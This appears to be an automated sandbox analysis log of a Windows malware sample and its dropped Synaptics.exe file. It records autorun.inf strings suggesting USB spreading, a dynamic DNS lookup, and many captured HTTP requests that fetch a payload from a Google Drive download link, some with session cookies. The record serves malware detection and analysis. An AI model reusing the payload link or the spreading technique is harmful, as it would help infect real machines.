Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49942 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.110:443 -> 192.168.2.8:49958 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.129:443 -> 192.168.2.8:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.8:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.8:49963 version: TLS 1.2

Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\WixStdBA.pdbH source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmp, wixstdba.dll.3.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb source: LisectAVT_2403002A_282.exe, ._cache_LisectAVT_2403002A_282.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb`E source: LisectAVT_2403002A_282.exe, ._cache_LisectAVT_2403002A_282.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\WixStdBA.pdb source: ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2727382991.000000006C695000.00000002.00000001.01000000.00000008.sdmp, wixstdba.dll.3.dr
Source:	Binary string: E:\delivery\Dev\wix37\build\ship\x86\burn.pdb` source: ._cache_LisectAVT_2403002A_282.exe, 00000002.00000000.1478303945.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000003.00000002.2721809272.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp, ._cache_LisectAVT_2403002A_282.exe, 00000003.00000000.1479946531.0000000000A5B000.00000002.00000001.01000000.00000005.sdmp

Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: LisectAVT_2403002A_282.exe, 00000000.00000000.1460751390.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000004.00000003.1551715301.00000000006DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: LisectAVT_2403002A_282.exe	Binary or memory string: [autorun]
Source: LisectAVT_2403002A_282.exe	Binary or memory string: [autorun]
Source: LisectAVT_2403002A_282.exe	Binary or memory string: autorun.inf
Source: ~$cache1.4.dr	Binary or memory string: [autorun]
Source: ~$cache1.4.dr	Binary or memory string: [autorun]
Source: ~$cache1.4.dr	Binary or memory string: autorun.inf
Source: RCXF23B.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXF23B.tmp.0.dr	Binary or memory string: [autorun]
Source: RCXF23B.tmp.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A55D81 _memset,FindFirstFileW,FindClose,	2_2_00A55D81
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A56D15 _memset,_memset,GetFileAttributesW,GetLastError,SetFileAttributesW,GetLastError,GetTempPathW,GetLastError,FindFirstFileW,GetLastError,SetFileAttributesW,DeleteFileW,GetTempFileNameW,MoveFileExW,MoveFileExW,MoveFileExW,FindNextFileW,GetLastError,GetLastError,RemoveDirectoryW,GetLastError,MoveFileExW,GetLastError,GetLastError,GetLastError,GetLastError,FindClose,	2_2_00A56D15
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 2_2_00A38E6E _memset,FindFirstFileW,lstrlenW,FindNextFileW,FindClose,	2_2_00A38E6E
Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe	Code function: 3_2_6C68A815 _memset,FindFirstFileW,FindClose,	3_2_6C68A815

Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_282.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Networking

Uses dynamic DNS services

Source: unknown

DNS query: name: freedns.afraid.org

Source: Joe Sandbox View	IP Address: 13.107.246.60 13.107.246.60
Source: Joe Sandbox View	IP Address: 69.42.215.252 69.42.215.252

Source: Joe Sandbox View

ASN Name: AWKNET-LLCUS AWKNET-LLCUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\._cache_LisectAVT_2403002A_282.exe

Code function: 2_2_00A46FC7 InternetReadFile,WriteFile,WriteFile,GetLastError,GetLastError,

2_2_00A46FC7

Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc
